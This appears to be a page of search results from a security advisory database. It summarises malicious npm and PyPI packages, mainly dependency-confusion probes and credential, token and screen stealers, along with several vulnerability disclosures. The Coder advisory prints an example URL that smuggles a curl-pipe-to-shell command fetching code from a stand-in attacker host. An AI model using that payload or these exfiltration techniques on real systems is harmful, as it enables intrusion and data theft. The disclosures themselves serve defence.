Search: consent.exe

A malicious npm package named 'consumerweb' version 2200.4.2 contains preinstall and postinstall scripts that execute code to collect host environment information and exfiltrate it to an attacker-controlled domain. The package appears to be part of a dependency confusion attack targeting internal package names, leaking sensitive environment details without user consent.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (4d2c2d224834611b638d571689ba89e7ad9b15f59f68a01f403056d02c9278c9) On npm install, uac-package@1.4.7 runs postinstall.js which calls integrate() to silently modify the installer's own source tree without prompt or opt-in: it patches package.json scripts (dev/preview/start), injects `import 'uac-package/track'` into installer entry files (src/main.{js,ts,jsx,tsx}, src/index.{js,ts}), adds a Vite plugin to vite.config.*, and adds a Nuxt module entry to nuxt.config.*. Once wired in, the injected tracker (autoIdentity.mjs, track.mjs) executes in the installer's shipped application and (1) enumerates localStorage/sessionStorage for authentication artifacts across a broad list of identity providers (access_token, id_token, refresh_token, jwt, okta-token-storage, firebase:authUser, @auth0spajs, msal.account.keys, CognitoIdentityServiceProvider, supabase.auth.token, clerk-db, KEYCLOAK_SESSION), decodes JWT payloads, and scans auth cookies; (2) monkey-patches window.fetch and XMLHttpRequest to intercept authentication-endpoint responses; (3) listens on input/change/focusout across form elements and forwards field values (truncated to 200 chars) plus purchase context (order IDs, amounts, product lists) and device/route heartbeats. All collected data is POSTed to the hardcoded author endpoint https://uac-backend.clay.in/api/activities. The behavior is not documented in the README and there is no consent flow. Effect on the installer: shipping this package injects an unauthorized identity-and-input exfiltration pipeline into their production product, exposing their end users' session tokens and form data to a third-party endpoint.

The clob-math-v2 npm package version 2.0.1 is a malicious typosquatting package impersonating the Polymarket CLOB math SDK. It executes arbitrary code during installation by downloading and running unverified code from an attacker-controlled domain. This results in automatic code execution on the installer's machine without user consent.

The npm package 'vybscan-testbed-inert-postinstall' version 1.0.0 contains malicious code in its postinstall script. This script executes automatically during 'npm install' and collects the host's user identity and environment variables, which often include sensitive credentials and tokens. The collected data is then sent to an attacker-controlled remote endpoint without user consent or interaction.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c7d5453a0b1576ed8880071cda901607e79f25378700d3f999ab2c9715e00635) searchresults@999.0.0 is a high-version dependency-confusion squat on the generic name 'searchresults'. package.json declares preinstall and postinstall = 'node callback.js', so on npm install callback.js executes automatically and collects installer identity (username, uid/gid, homedir, shell, os.hostname(), platform, cwd, local IP, external IP fetched from api.ipify.org) plus CI context (GITHUB_REPOSITORY, GITHUB_ACTOR, JENKINS_URL, BUILD_NUMBER) and POSTs it to a hardcoded Discord webhook and a callback URL. It additionally fingerprints which installers hold monetizable CI credentials by probing for presence of AWS_ACCESS_KEY_ID, GITHUB_TOKEN, NPM_TOKEN, and DOCKER_PASSWORD in the environment and reporting the result to the same webhook. A DNS-based fallback channel base64-encodes the collected info and issues a DNS lookup of that value as a subdomain of the callback host, bypassing HTTP egress filtering. The 999.0.0 version and generic name are engineered to win npm semver resolution against internally-named private packages, giving install-time code execution on arbitrary organizations. Self-labeling as 'security research PoC' does not constitute installer consent. ## Source: ghsa-malware (c2bf6ed6443578713721cde803bd5f2376cd93913392387e3b342796878e53ff) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

The npm package 'domains-billing-types' version 99.91.1 is identified as malicious. During installation, it executes a postinstall script that collects the installer's hostname and username and sends this information via a DNS lookup to an attacker-controlled domain. The package has no legitimate functionality and appears to be a dependency confusion probe designed to confirm successful resolution of internal package namespaces by exfiltrating environment details without user consent.

The npm package 'dependency_confusions' version 99.9.9 contains malicious code that executes automatically upon installation via a postinstall hook. This code collects sensitive environment information including the installer's OS username, hostname, current working directory, local IPv4 address, and platform, then sends this data to a hardcoded external webhook. This behavior facilitates reconnaissance for dependency confusion attacks by revealing internal build host details and private package namespaces without user consent.

A stored cross-site scripting (XSS) vulnerability exists in the Better Auth authorization server when using the deprecated oidc-provider or mcp plugins in versions prior to 1.6.13. The vulnerability arises from improper validation of redirect_uri values during OAuth client registration, allowing an attacker to register a javascript: URI. When the consent page navigates to this URI, attacker-controlled JavaScript executes in the authorization server origin, risking session exposure and account takeover. The issue is fixed in better-auth versions 1.6.13 and later.

The @flex-ng/error-component npm package is a malicious package published as part of a dependency confusion attack. It contains a preinstall hook that executes automatically during npm install, sending the installer's public IP and host telemetry to an attacker-controlled Sentry endpoint without user consent. This behavior is designed for reconnaissance to identify organizations that mistakenly install the malicious package instead of the intended private dependency. The package version 2.1.0 is affected. Removal alone may not fully remediate the compromise as the attacker may have gained broader access.

The @flex-ng/filter-pipe npm package version 1.1.0 is a malicious package published as part of a dependency confusion campaign. It executes a preinstall script that installs @sentry/node and runs a script to exfiltrate the installer's public IP address and host metadata to an attacker-controlled Sentry project. This data collection occurs silently during npm install without user consent or documentation. The package impersonates an internal namespace to trick misconfigured resolvers into installing it instead of the legitimate private package. Removal of the package does not guarantee full remediation as the system may be fully compromised.

The enbd-react-logger npm package version 4.0.0 is a malicious package published as part of a dependency confusion attack targeting organizations using an internal 'enbd' namespace. It contains a preinstall script that executes automatically during npm install, sending the host's public IP address, hostname, OS username, and runtime metadata to an attacker-controlled Sentry project without user consent. This behavior enables reconnaissance by the attacker to identify successful installs and affected organizations. The package also hardcodes the attacker's Sentry DSN, causing any downstream error reporting to leak data to the attacker. Removal of the package alone may not fully remediate the compromise, as the attacker may have gained broader control of the system.

The tme-error npm package, published by a malicious actor, impersonates an internal package namespace to exploit dependency confusion. It includes a preinstall hook that executes code during npm install, sending the installer's public IP, hostname, username, and runtime metadata to an attacker-controlled Sentry endpoint without user consent. This behavior enables reconnaissance on victims and potential data exfiltration. The package also silently redirects error reporting to the attacker's Sentry project if consumers call its init() function without specifying their own DSN. The affected version is 2.8.42. Removal alone may not fully remediate the compromise, and secrets should be rotated.

# Command injection via dotfiles URI parameter combined with workspace auto-creation ## Summary The `dotfiles` registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted `dotfiles_uri` value (for example, one containing shell command substitution such as `$(...)`) could achieve command execution in their own workspace. The Create Workspace page's `mode=auto` deep links amplified this into a one-click attack: an attacker could craft a URL that prefilled `param.dotfiles_uri` and silently provisioned a workspace with the attacker-controlled value, with no explicit user confirmation. ## Details ### Command injection in the dotfiles module (root cause) The [dotfiles module](https://github.com/coder/registry/tree/main/registry/coder/modules/dotfiles) interpolated the user-provided `dotfiles_uri` value directly into a shell script and executed it without input validation. Because the value was expanded by the shell, payloads using command substitution (`$(...)`), command separators (`;`, `|`, `&&`), or backticks were interpreted before the `coder dotfiles` CLI was invoked. The Coder CLI itself uses `exec.CommandContext()` with an argument array and is not vulnerable; the injection occurred earlier, during shell expansion inside the module. As a result, a user who entered a crafted `dotfiles_uri` obtained arbitrary code execution in their workspace, even without `mode=auto`. ### Auto-creation amplification (`mode=auto`) The Create Workspace page supported a `mode=auto` query parameter that, combined with `param.*` URL parameters, automatically created a workspace on page load without displaying a confirmation prompt. An attacker could craft a malicious URL pointing to a victim's Coder deployment and set arbitrary template parameter values (for example, `param.dotfiles_uri`). When an authenticated user clicked the link, the workspace was created immediately with the attacker-supplied parameters, turning the command injection above into a one-click, no-consent attack. Example URL: ``` https://<deployment>/templates/<template>/workspace?mode=auto&param.dotfiles_uri=foo$(curl https://attacker.example/x | sh).com ``` ## Impact Arbitrary code execution inside the victim's workspace. Depending on the workspace's privileges, this may expose Git credentials, secrets, and workspace files, and can provide a foothold for lateral movement. With `mode=auto`, exploitation required only that an authenticated user click an attacker-supplied link to a template that uses the dotfiles module. ## Patches ### coder/registry (primary fix) Input validation was added to the dotfiles module to reject URIs and usernames containing special characters, and the unsafe `eval`/`sh -c` usage was removed. This eliminates the command injection at its source. - https://github.com/coder/registry/pull/703 ### coder/coder (defense-in-depth) A consent dialog was added that displays all prefilled `param.*` values and blocks creation until the user explicitly clicks **Confirm and Create**. This removes the `mode=auto` one-click amplification vector. - Fix commit: https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb (PR [#22011](https://github.com/coder/coder/pull/22011)) - Patched releases: - [v2.29.7](https://github.com/coder/coder/releases/tag/v2.29.7) (ESR) - [v2.30.2](https://github.com/coder/coder/releases/tag/v2.30.2) (mainline) ### Recognition We'd like to thank [Aviv Donenfeld](https://github.com/avivdon) for responsibly disclosing this issue in accordance with https://coder.com/security/policy

The npm package 'test-pkg-pnpm' versions 1.0.0 through 1.0.4 contains malicious post-installation code that executes without user consent. Upon installation, it opens a GitHub page and launches the system calculator as proof of code execution. More critically, it recursively deletes node_modules directories and related files across ancestor directories and the user's home directory, and modifies package.json files by removing dependency entries. This destructive behavior compromises the integrity of the development environment and potentially the entire system. Removal of the package does not guarantee full remediation as the system may be fully compromised.

The npm package 'ollama-helpers' versions 1.2.1 and 1.2.2 contains malicious code that executes automatically upon installation. It collects extensive sensitive information from the host system, including OS hostname, usernames, git user emails, SSH public key comments, cloud account identifiers, and more, then exfiltrates this data to an anonymous Google Cloud Run endpoint. The package impersonates the official Ollama ecosystem but is unrelated and does not include the expected main executable, confirming it is a pure data exfiltration tool. There is no user consent or opt-out for this telemetry-like behavior. Systems with this package installed should be considered fully compromised.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7a53e75a65681ee9ea818634ddee1ed52c6c8398dbd68e2b6abca255b24aaf37) react-context-form-tdsss@9.0.0 is a dependency-confusion payload. package.json declares scripts.preinstall="node index.js", and index.js issues an HTTPS GET to a hardcoded interactsh/OAST subdomain (d8v0o1a9io6mjndcpbgghpfmkcgcm6dno.oast.online/npm-installed) on install. This beacon discloses the installer's public IP and confirms code execution on the installer's host to the operator of the OAST listener. The package.json description self-identifies as a dependency-confusion PoC and declares a self-dependency, the shape used to squat an internal/private package name on the public registry so that resolution in a victim environment pulls and executes this code. Installing this package causes outbound network beaconing on the installer's machine without consent. ## Source: ghsa-malware (76af9d8d1b618db5536807009be9eb5b1efe1e24b5490bf9ed276b1d2c08c9ac) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (93a527c5b8a2dec60d70994e1423e4138bdc1a6218cf11ff7528919767b3dea3) The OpenSSF Package Analysis project identified 'react-context-form-tdsss' @ 9.0.0 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity.

The PyPI package 'mi-test-99-tuapellido' version 99.9 contains malicious code that executes on import. It runs a shell command that sends the output of the 'id' command (user and group identity information) to an attacker-controlled domain via an unencrypted HTTP POST request. The package metadata indicates it is a placeholder or proof-of-concept, consistent with dependency confusion or namespace squatting attacks. This behavior occurs without user consent or any legitimate functionality. The package is identified as malicious by multiple sources and is designed to exfiltrate basic host information.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e43be65a0930b121cf4d610c70b2d07165e4d335dece4344590b471d078fa5b5) Package self-describes as a 'System binary configuration tool' but ships a covert screen and clipboard surveillance overlay. pointer.py captures full-screen JPEG screenshots (mss/ImageGrab), reads clipboard text on a 300ms loop (pyperclip.paste), and scrapes on-screen UI text from arbitrary windows via UI Automation; all captured data is POSTed unconditionally to a hardcoded author-controlled endpoint at https://new-pointer.vercel.app/api (pointer.py:33 VERCEL_API_URL). The destination is not configurable. The UX is built for concealment: an overrideredirect always-on-top transparent overlay (alpha 0.75, transparent-white) and hidden hotkeys including ctrl+q panic_exit (os._exit), esc stealth_hide, and 1+` stealth_show. The npm wrapper (index.js startApp) additionally performs a silent 'ghost install' of Python 3.12.3 from python.org into %TEMP% via curl, executed with /quiet InstallAllUsers=0 PrependPath=1 and comments explicitly describing the goal as 'No UI, No Admin Popup' — bootstrapping the Python runtime required by pointer.py without user consent. Any developer who runs the package's bin entry ships their clipboard contents, on-screen text, and screenshots of their primary monitor to the author's server. The shape is consistent with a proctoring-evasion / surveillance tool, not a sysadmin utility. ## Source: ghsa-malware (4cdfeaff9ba72cf95d0e701523049f137b60eadc9b54950e7c20ec3c87b59758) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

The npm package 'hyperpure' version 1.0.0 contains malicious code that executes during installation. Its preinstall script sends sensitive environment data, including CI tokens and cloud credentials, over plain HTTP to an attacker-controlled server. The package appears to be a hollow placeholder mimicking an internal Zomato package, indicating a dependency confusion attack. This data exfiltration occurs automatically without user consent.

The Angular Language Service VS Code Extension prior to version 21.2.4 reads custom TypeScript SDK paths from workspace configurations without verifying VS Code Workspace Trust or user consent. This allows a malicious repository to cause the extension to load and execute a malicious tsserverlibrary.js script silently when the repository is opened in VS Code. The vulnerability is fixed in version 21.2.4.